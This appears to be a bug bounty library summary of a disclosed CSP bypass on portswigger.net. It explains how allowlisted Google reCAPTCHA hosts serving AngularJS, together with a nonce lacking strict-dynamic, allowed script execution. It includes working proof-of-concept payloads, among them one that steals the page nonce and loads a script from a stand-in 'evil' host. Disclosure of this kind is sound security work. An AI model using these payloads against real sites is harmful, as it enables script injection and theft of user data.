# CSP bypass on PortSwigger.net using Google script resources - Johan Carlsson

PortSwigger's CSP allowlisted Google reCAPTCHA AngularJS and lacked strict-dynamic, letting an attacker with HTML injection bypass CSP and steal nonce to run arbitrary scripts.

- Payout: $1,500
- Severity: medium
- Program: PortSwigger
- Found by: Johan Carlsson
- Disclosed: 2024-02-19
- Write-up quality: 7/10
- Original: https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/
- Library page: https://bugbountylibrary.com/r/blog%3Ajoaxcar-com-blog-2024-02-19-csp-bypass-on-portswigger-net-using-google-script-resources
- Tags: area:web domain:web impact:integrity kind:bounty platform:blog sev:medium technique:chained technique:source-review vuln:misconfiguration vuln:xss

**Target:** Web application CSP (script-src allowlist + nonce)
**Root cause:** CSP script-src allowlisted https://www.google.com/recaptcha and https://www.gstatic.com/recaptcha which host AngularJS (main.min.js), and used a nonce without strict-dynamic, so allowlisted URLs remained valid script sources. Missing form-action directive also enabled form hijacking.
**Steps:**
1. Inspect portswigger.net CSP: script-src has nonce but no strict-dynamic, and allowlists google.com/recaptcha and gstatic.com/recaptcha.
2. Inject `<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>` to load AngularJS from allowlisted host.
3. Inject `<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>` to confirm Angular expression execution.
4. Retrieve page nonce via `document.querySelector("[nonce]").nonce` from JS.
5. Create a new script element with attacker src, set its nonce to the retrieved value, and append to DOM to execute arbitrary JS.
**How found:** Saw a Twitter CSP challenge tweet, read a Google CTF writeup showing Google reCAPTCHA hosts AngularJS as a CSP bypass, then checked portswigger.net's CSP and found the same allowlist + nonce-without-strict-dynamic setup. Recalled Gareth Hayes' blog post inviting CSP bypass reports.
**Exploitation:** Requires an HTML injection on portswigger.net. Attacker loads AngularJS from the allowlisted Google reCAPTCHA URL, uses ng-on-error to execute Angular expressions, reads the CSP nonce from a DOM node via JS, then injects a script tag with that nonce pointing to attacker-controlled JS, achieving full XSS despite CSP. Separately, missing form-action allowed form hijacking to exfiltrate credentials.
**Escalation:** Escalated restricted Angular expression execution (blocked by lack of unsafe-eval) to arbitrary script execution by stealing the CSP nonce from the DOM and minting a valid nonce-bearing script tag.
**Insight:** When a CSP uses a nonce without strict-dynamic, allowlisted third-party hosts still load; check whether allowlisted CDNs host AngularJS or other gadgets, and remember the nonce is readable from JS via node.nonce even though devtools hides it, enabling nonce-bearing script injection.

## Proof of concept (copied exactly from the original report)

**AngularJS CSP bypass payload via Google Recaptcha**

```
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
```

**Escalation to arbitrary XSS using stolen nonce**

```
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<img src=x ng-on-error='
 doc=$event.target.ownerDocument;
 a=doc.defaultView.top.document.querySelector("[nonce]");
 b=doc.createElement("script");
 b.src="//example.com/evil.js";
 b.nonce=a.nonce; doc.body.appendChild(b)'>
```

**Retrieving CSP nonce from DOM**

```
const nonce = document.querySelector("[nonce]").nonce;
```

